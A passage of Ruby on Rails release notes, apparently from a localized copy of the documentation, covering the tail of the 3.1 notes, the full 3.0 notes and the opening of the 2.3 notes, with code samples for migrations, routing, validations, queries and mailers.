create_table(:horses) do |t|
t.column :content, :text
t.column :remind_at, :datetime
end
end
end

class MyMigration < ActiveRecord::Migration def change create_table(:horses) do |t| t.column :content, :text t.column :remind_at, :datetime end end end Copiar

- Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define up and down in your migration. If you define something in change that cannot be reversed, an IrreversibleMigration exception will be raised when going down.

- Migrations now use instance methods rather than class methods:

class FooMigration < ActiveRecord::Migration
def up # Not self.up
# ...
end
end

class FooMigration < ActiveRecord::Migration def up # Not self.up # ... end end Copiar

- Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's change method instead of the ordinary up and down methods.

- Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

has_many :things, :conditions => 'foo = #{bar}'          # before
has_many :things, :conditions => proc { "foo = #{bar}" } # after

has_many :things, :conditions => 'foo = #{bar}' # before has_many :things, :conditions => proc { "foo = #{bar}" } # after Copiar
Inside the proc, self is the object which is the owner of the association, unless you are eager loading the association, in which case self is the class which the association is within. You can have any "normal" conditions inside the proc, so the following will work too:

has_many :things, :conditions => proc { ["foo = ?", bar] }

has_many :things, :conditions => proc { ["foo = ?", bar] } Copiar

- Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

- Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting.

# Schema: User(name:string, password_digest:string, password_salt:string)
class User < ActiveRecord::Base
has_secure_password
end

# Schema: User(name:string, password_digest:string, password_salt:string) class User < ActiveRecord::Base has_secure_password end Copiar

- When a model is generated add_index is added by default for belongs_to or references columns.

- Setting the id of a belongs_to object will update the reference to the object.

- ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed to closer match normal Ruby dup and clone semantics.

- Calling ActiveRecord::Base#clone will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

- Calling ActiveRecord::Base#dup will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.

- The query cache now works with prepared statements. No changes in the applications are required.

7 Active Model

- attr_accessible accepts an option :as to specify a role.

- InclusionValidator, ExclusionValidator, and FormatValidator now accepts an option which can be a proc, a lambda, or anything that respond to call. This option will be called with the current record as an argument and returns an object which respond to include? for InclusionValidator and ExclusionValidator, and returns a regular expression object for FormatValidator.

- Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting.

- ActiveModel::AttributeMethods allows attributes to be defined on demand.

- Added support for selectively enabling and disabling observers.

- Alternate I18n namespace lookup is no longer supported.

8 Active Resource

- The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set self.format = :xml in the class. For example,

class User < ActiveResource::Base
self.format = :xml
end

class User < ActiveResource::Base self.format = :xml end Copiar

9 Active Support

- ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant.

- Added a new reporting method Kernel#quietly which silences both STDOUT and STDERR.

- Added String#inquiry as a convenience method for turning a String into a StringInquirer object.

- Added Object#in? to test if an object is included in another object.

- LocalCache strategy is now a real middleware class and no longer an anonymous class.

- ActiveSupport::Dependencies::ClassCache class has been introduced for holding references to reloadable classes.

- ActiveSupport::Dependencies::Reference has been refactored to take direct advantage of the new ClassCache.

- Backports Range#cover? as an alias for Range#include? in Ruby 1.8.

- Added weeks_ago and prev_week to Date/DateTime/Time.

- Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants!.

Deprecations:

- ActiveSupport::SecureRandom is deprecated in favor of SecureRandom from the Ruby standard library.

10 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by Vijay Dev

Ruby on Rails 3.0 Release Notes — Ruby...

1 Upgrading to Rails 3

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

1.1 Rails 3 requires at least Ruby 1.8.7

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

1.2 Rails Application object

As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to config/environment.rb from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in config/application.rb. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from config/environment.rb to config/application.rb.

1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the script directory. You do not run script/rails directly though, the rails command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

$ rails console                      # instead of script/console
$ rails g scaffold post title:string # instead of script/generate scaffold post title:string

rails console # instead of script/console rails g scaffold post title:string # instead of script/generate scaffold post title:string Copiar

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem

The config.gem method is gone and has been replaced by using bundler and a Gemfile, see Vendoring Gems below.

1.5 Upgrade Process

To help with the upgrade process, a plugin named Rails Upgrade has been created to automate part of it.

Simply install the plugin, then run rake rails:upgrade:check to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a Gemfile based on your current config.gem calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

$ ruby script/plugin install git://github.com/rails/rails_upgrade.git

ruby script/plugin install git://github.com/rails/rails_upgrade.git Copiar

You can see an example of how that works at Rails Upgrade is now an Official Plugin

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

rails new myapp cd myapp Copiar

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command, so rake freeze is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the --edge flag:

$ rails new myapp --edge

rails new myapp --edge Copiar

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

$ ruby /path/to/rails/bin/rails new myapp --dev

ruby /path/to/rails/bin/rails new myapp --dev Copiar

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.

3.1 Railties Restrung

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

3.2 All Rails core components are decoupled

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - The Great Decoupling

3.3 Active Model Abstraction

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - Make Any Ruby Object Feel Like ActiveRecord

3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views, etc. This creation of AbstractController allowed ActionController and ActionMailer to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - Rails Edge Architecture

3.5 Arel Integration

Arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - Why I wrote Arel

3.6 Mail Extraction

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the Mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - New Action Mailer API in Rails 3

4 Documentation

The documentation in the Rails tree is being updated with all the API changes, additionally, the Rails Edge Guides are being updated one by one to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - Rails Documentation Projects

5 Internationalization

A large amount of work has been done with I18n support in Rails 3, including the latest I18n gem supplying many speed improvements.

- I18n for any object - I18n behavior can be added to any object by including ActiveModel::Translation and ActiveModel::Validations. There is also an errors.messages fallback for translations.

- Attributes can have default translations.

- Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.

- Labels with I18n also now work by just passing the attribute name.

More Information: - Rails 3 I18n changes

6 Railties

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible:

- Each application now has its own name space, application is started with YourAppName.boot for example, makes interacting with other applications a lot easier.

- Anything under Rails.root/app is now added to the load path, so you can make app/observers/user_observer.rb and Rails will load it without any modifications.

- Rails 3.0 now provides a Rails.config object, which provides a central repository of all sorts of Rails wide configuration options. Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new --dev flag has been added which sets the application up with the Gemfile pointing to your Rails checkout (which is determined by the path to the rails binary). See rails --help for more info.

Railties generators got a huge amount of attention in Rails 3.0, basically:

- Generators were completely rewritten and are backwards incompatible.

- Rails templates API and generators API were merged (they are the same as the former).

- Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling rails generate foo will look for generators/foo_generator.

- New generators provide hooks, so any template engine, ORM, test framework can easily hook in.

- New generators allow you to override the templates by placing a copy at Rails.root/lib/templates.

- Rails::Generators::TestCase is also supplied so you can create your own generators and test them.

Also, the views generated by Railties generators had some overhaul:

- Views now use div tags instead of p tags.

- Scaffolds generated now make use of _form partials, instead of duplicated code in the edit and new views.

- Scaffold forms now use f.submit which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.

Finally a couple of enhancements were added to the rake tasks:

- rake db:forward was added, allowing you to roll forward your migrations individually or in groups.

- rake routes CONTROLLER=x was added allowing you to just view the routes for one controller.

Railties now deprecates:

- RAILS_ROOT in favor of Rails.root,

- RAILS_ENV in favor of Rails.env, and

- RAILS_DEFAULT_LOGGER in favor of Rails.logger.

PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks now must be in PLUGIN/lib/tasks.

More information:

- Discovering Rails 3 generators

- The Rails Module (in Rails 3)

7 Action Pack

There have been significant internal and external changes in Action Pack.

7.1 Abstract Controller

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed ActionMailer::Base to now just inherit from AbstractController and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - Rails Edge Architecture

7.2 Action Controller

- application_controller.rb now has protect_from_forgery on by default.

- The cookie_verifier_secret has been deprecated and now instead it is assigned through Rails.application.config.cookie_secret and moved into its own file: config/initializers/cookie_verification_secret.rb.

- The session_store was configured in ActionController::Base.session, and that is now moved to Rails.application.config.session_store. Defaults are set up in config/initializers/session_store.rb.

- cookies.secure allowing you to set encrypted values in cookies with cookie.secure[:key] => value.

- cookies.permanent allowing you to set permanent values in the cookie hash cookie.permanent[:key] => value that raise exceptions on signed values if verification failures.

- You can now pass :notice => 'This is a flash message' or :alert => 'Something went wrong' to the format call inside a respond_to block. The flash[] hash still works as previously.

- respond_with method has now been added to your controllers simplifying the venerable format blocks.

- ActionController::Responder added allowing you flexibility in how your responses get generated.

Deprecations:

- filter_parameter_logging is deprecated in favor of config.filter_parameters << :password.

More Information:

- Render Options in Rails 3

- Three reasons to love ActionController::Responder

7.3 Action Dispatch

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

- Big clean up and re-write of the router, the Rails router is now rack_mount with a Rails DSL on top, it is a stand alone piece of software.

- Routes defined by each application are now name spaced within your Application module, that is:

# Instead of:

ActionController::Routing::Routes.draw do |map|
map.resources :posts
end

# You do:

AppName::Application.routes do
resources :posts
end

# Instead of: ActionController::Routing::Routes.draw do |map| map.resources :posts end # You do: AppName::Application.routes do resources :posts end Copiar

- Added match method to the router, you can also pass any Rack application to the matched route.

- Added constraints method to the router, allowing you to guard routers with defined constraints.

- Added scope method to the router, allowing you to namespace routes for different languages or different actions, for example:

scope 'es' do
resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
end

# Gives you the edit action with /es/proyecto/1/cambiar

scope 'es' do resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto' end # Gives you the edit action with /es/proyecto/1/cambiar Copiar

- Added root method to the router as a short cut for match '/', :to => path.

- You can pass optional segments into the match, for example match "/:controller(/:action(/:id))(.:format)", each parenthesized segment is optional.

- Routes can be expressed via blocks, for example you can call controller :home { match '/:action' }.

The old style map commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

- The catch all route for non-REST applications (/:controller/:action/:id) is now commented out.

- Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.

More Information: * The Rails 3 Router: Rack it Up * Revamped Routes in Rails 3 * Generic Actions in Rails 3

7.4 Action View

7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous remote_<method> helpers have been removed from Rails core and put into the Prototype Legacy Helper. To get UJS hooks into your HTML, you now pass :remote => true instead. For example:

form_for @post, :remote => true

form_for @post, :remote => true Copiar

Produces:

<form action="http://host.com" id="create-post" method="post" data-remote="true">

<form action="http://host.com" id="create-post" method="post" data-remote="true"> Copiar

7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%= now:

<%= form_for @post do |f| %>
...
<% end %>

<%= form_for @post do |f| %> ... <% end %> Copiar

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like cache or content_for, are not affected by this change, they need &lt;% as before.

7.4.3 Other Changes

- You no longer need to call h(string) to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call raw(string).

- Helpers now output HTML 5 by default.

- Form label helper now pulls values from I18n with a single value, so f.label :name will pull the :name translation.

- I18n select label on should now be :en.helpers.select instead of :en.support.select.

- You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.

- Added grouped_collection_select helper to Action View.

- content_for? has been added allowing you to check for the existence of content in a view before rendering.

- passing :value => nil to form helpers will set the field's value attribute to nil as opposed to using the default value

- passing :id => nil to form helpers will cause those fields to be rendered with no id attribute

- passing :alt => nil to image_tag will cause the img tag to render with no alt attribute

8 Active Model

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

8.1 ORM Abstraction and Action Pack Interface

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - Make Any Ruby Object Feel Like ActiveRecord

8.2 Validations

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

- There is now a validates :attribute, options_hash shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.

- The validates method has the following options:

- :acceptance => Boolean.

- :confirmation => Boolean.

- :exclusion => { :in => Enumerable }.

- :inclusion => { :in => Enumerable }.

- :format => { :with => Regexp, :on => :create }.

- :length => { :maximum => Fixnum }.

- :numericality => Boolean.

- :presence => Boolean.

- :uniqueness => Boolean.

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

class TitleValidator < ActiveModel::EachValidator
Titles = ['Mr.', 'Mrs.', 'Dr.']
def validate_each(record, attribute, value)
unless Titles.include?(value)
record.errors[attribute] << 'must be a valid title'
end
end
end

class TitleValidator < ActiveModel::EachValidator Titles = ['Mr.', 'Mrs.', 'Dr.'] def validate_each(record, attribute, value) unless Titles.include?(value) record.errors[attribute] << 'must be a valid title' end end end Copiar

class Person
include ActiveModel::Validations
attr_accessor :title
validates :title, :presence => true, :title => true
end

# Or for Active Record

class Person < ActiveRecord::Base
validates :title, :presence => true, :title => true
end

class Person include ActiveModel::Validations attr_accessor :title validates :title, :presence => true, :title => true end # Or for Active Record class Person < ActiveRecord::Base validates :title, :presence => true, :title => true end Copiar

There's also support for introspection:

User.validators
User.validators_on(:login)

User.validators User.validators_on(:login) Copiar

More Information:

- Sexy Validation in Rails 3

- Rails 3 Validations Explained

9 Active Record

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

9.1 Query Interface

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

- where - provides conditions on the relation, what gets returned.

- select - choose what attributes of the models you wish to have returned from the database.

- group - groups the relation on the attribute supplied.

- having - provides an expression limiting group relations (GROUP BY constraint).

- joins - joins the relation to another table.

- clause - provides an expression limiting join relations (JOIN constraint).

- includes - includes other relations pre-loaded.

- order - orders the relation based on the expression supplied.

- limit - limits the relation to the number of records specified.

- lock - locks the records returned from the table.

- readonly - returns an read only copy of the data.

- from - provides a way to select relationships from more than one table.

- scope - (previously named_scope) return relations and can be chained together with the other relation methods.

- with_scope - and with_exclusive_scope now also return relations and so can be chained.

- default_scope - also works with relations.

More Information:

- Active Record Query Interface

- Let your SQL Growl in Rails 3

9.2 Enhancements

- Added :destroyed? to Active Record objects.

- Added :inverse_of to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.

9.3 Patches and Deprecations

Additionally, many fixes in the Active Record branch:

- SQLite 2 support has been dropped in favor of SQLite 3.

- MySQL support for column order.

- PostgreSQL adapter has had its TIME ZONE support fixed so it no longer inserts incorrect values.

- Support multiple schemas in table names for PostgreSQL.

- PostgreSQL support for the XML data type column.

- table_name is now cached.

- A large amount of work done on the Oracle adapter as well with many bug fixes.

As well as the following deprecations:

- named_scope in an Active Record class is deprecated and has been renamed to just scope.

- In scope methods, you should move to using the relation methods, instead of a :conditions => {} finder method, for example scope :since, lambda {|time| where("created_at > ?", time) }.

- save(false) is deprecated, in favor of save(:validate => false).

- I18n error messages for Active Record should be changed from :en.activerecord.errors.template to :en.errors.template.

- model.errors.on is deprecated in favor of model.errors[]

- validates_presence_of => validates... :presence => true

- ActiveRecord::Base.colorize_logging and config.active_record.colorize_logging are deprecated in favor of Rails::LogSubscriber.colorize_logging or config.colorize_logging

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

- Added validations through Active Model.

- Added observing hooks.

- HTTP proxy support.

- Added support for digest authentication.

- Moved model naming into Active Model.

- Changed Active Resource attributes to a Hash with indifferent access.

- Added first, last and all aliases for equivalent find scopes.

- find_every now does not return a ResourceNotFound error if nothing returned.

- Added save! which raises ResourceInvalid unless the object is valid?.

- update_attribute and update_attributes added to Active Resource models.

- Added exists?.

- Renamed SchemaDefinition to Schema and define_schema to schema.

- Use the format of Active Resources rather than the content-type of remote errors to load errors.

- Use instance_eval for schema block.

- Fix ActiveResource::ConnectionError#to_s when @response does not respond to #code or #message, handles Ruby 1.9 compatibility.

- Add support for errors in JSON format.

- Ensure load works with numeric arrays.

- Recognizes a 410 response from remote resource as the resource has been deleted.

- Add ability to set SSL options on Active Resource connections.

- Setting connection timeout also affects Net::HTTP open_timeout.

Deprecations:

- save(false) is deprecated, in favor of save(:validate => false).

- Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer used in the library.

11 Active Support

A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

- Large clean up of the library removing unused methods throughout.

- Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the bundle install command.

- Safe buffers are implemented in ActiveSupport::SafeBuffer.

- Added Array.uniq_by and Array.uniq_by!.

- Removed Array#rand and backported Array#sample from Ruby 1.9.

- Fixed bug on TimeZone.seconds_to_utc_offset returning wrong value.

- Added ActiveSupport::Notifications middleware.

- ActiveSupport.use_standard_json_time_format now defaults to true.

- ActiveSupport.escape_html_entities_in_json now defaults to false.

- Integer#multiple_of? accepts zero as an argument, returns false unless the receiver is zero.

- string.chars has been renamed to string.mb_chars.

- ActiveSupport::OrderedHash now can de-serialize through YAML.

- Added SAX-based parser for XmlMini, using LibXML and Nokogiri.

- Added Object#presence that returns the object if it's #present? otherwise returns nil.

- Added String#exclude? core extension that returns the inverse of #include?.

- Added to_i to DateTime in ActiveSupport so to_yaml works correctly on models with DateTime attributes.

- Added Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?.

- Switch to on-by-default XSS escaping for rails.

- Support deep-merging in ActiveSupport::HashWithIndifferentAccess.

- Enumerable#sum now works will all enumerables, even if they don't respond to :size.

- inspect on a zero length duration returns '0 seconds' instead of empty string.

- Add element and collection to ModelName.

- String#to_time and String#to_datetime handle fractional seconds.

- Added support to new callbacks for around filter object that respond to :before and :after used in before and after callbacks.

- The ActiveSupport::OrderedHash#to_a method returns an ordered set of arrays. Matches Ruby 1.9's Hash#to_a.

- MissingSourceFile exists as a constant but it is now just equal to LoadError.

- Added Class#class_attribute, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.

- Finally removed DeprecatedCallbacks in ActiveRecord::Associations.

- Object#metaclass is now Kernel#singleton_class to match Ruby.

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

- Integer#even? and Integer#odd?

- String#each_char

- String#start_with? and String#end_with? (3rd person aliases still kept)

- String#bytesize

- Object#tap

- Symbol#to_proc

- Object#instance_variable_defined?

- Enumerable#none?

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

- Kernel#daemonize

- Object#remove_subclasses_of Object#extend_with_included_modules_from, Object#extended_by

- Class#remove_class

- Regexp#number_of_captures, Regexp.unoptionalize, Regexp.optionalize, Regexp#number_of_captures

12 Action Mailer

Action Mailer has been given a new API with TMail being replaced out with the new Mail as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

- All mailers are now in app/mailers by default.

- Can now send email using new API with three methods: attachments, headers and mail.

- Action Mailer now has native support for inline attachments using the attachments.inline method.

- Action Mailer emailing methods now return Mail::Message objects, which can then be sent the deliver message to send itself.

- All delivery methods are now abstracted out to the Mail gem.

- The mail delivery method can accept a hash of all valid mail header fields with their value pair.

- The mail delivery method acts in a similar way to Action Controller's respond_to, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.

- You can pass a proc to the format.mime_type calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The render call inside the proc is from Abstract Controller and supports the same options.

- What were mailer unit tests have been moved to functional tests.

- Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem

- Action Mailer will auto encode email bodies and headers for you

Deprecations:

- :charset, :content_type, :mime_version, :implicit_parts_order are all deprecated in favor of ActionMailer.default :key => value style declarations.

- Mailer dynamic create_method_name and deliver_method_name are deprecated, just call method_name which now returns a Mail::Message object.

- ActionMailer.deliver(message) is deprecated, just call message.deliver.

- template_root is deprecated, pass options to a render call inside a proc from the format.mime_type method inside the mail generation block

- The body method to define instance variables is deprecated (body {:ivar => value}), just declare instance variables in the method directly and they will be available in the view.

- Mailers being in app/models is deprecated, use app/mailers instead.

More Information:

- New Action Mailer API in Rails 3

- New Mail Gem for Ruby

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

Ruby on Rails 2.3 Release Notes — Ruby...

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface). Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

- Sessions

- Cookies

- File uploads

- JSON/XML APIs

Here's a summary of the rack-related changes:

- script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch.

- The FCGI handler goes through Rack.

- ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb.

- The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.

- The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.

- ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and convert its environment information into a Rack compatible form.

- CgiRequest and CgiResponse have been removed.

- Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).

- You no longer need to use CGI::Cookie.new in your tests for setting a cookie value. Assigning a String value to request.cookies["foo"] now sets the cookie as expected.

- CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore.

- CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore.

- CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore.

- You can still change your session store with ActionController::Base.session_store = :active_record_store.

- Default sessions options are still set with ActionController::Base.session = { :key => "..." }. However, the :session_domain option has been renamed to :domain.

- The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock.

- ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers['type'] in test requests. Use response.content_type instead.

- ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache.

- The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args.

- ActionController::Request inherits from Rack::Request.

- Instead of config.action_controller.session = { :session_key => 'foo', ... use config.action_controller.session = { :key => 'foo', ....

- Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it.

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

- More Information: Rails Documentation Projects

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

class Book < ActiveRecord::Base
has_one :author
has_many :pages

accepts_nested_attributes_for :author, :pages
end

class Book < ActiveRecord::Base has_one :author has_many :pages accepts_nested_attributes_for :author, :pages end Copiar

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the :reject_if option:

accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }

accepts_nested_attributes_for :author, :reject_if => proc { |attributes| attributes['name'].blank? } Copiar

- Lead Contributor: Eloy Duran

- More Information: Nested Model Forms

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

User.transaction do
User.create(:username => 'Admin')
User.transaction(:requires_new => true) do
User.create(:username => 'Regular')
raise ActiveRecord::Rollback
end
end

User.find(:all)  # => Returns only Admin

User.transaction do User.create(:username => 'Admin') User.transaction(:requires_new => true) do User.create(:username => 'Regular') raise ActiveRecord::Rollback end end User.find(:all) # => Returns only Admin Copiar

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

- Lead Contributors: Jonathan Viney and Hongli Lai

4.3 Dynamic Scopes

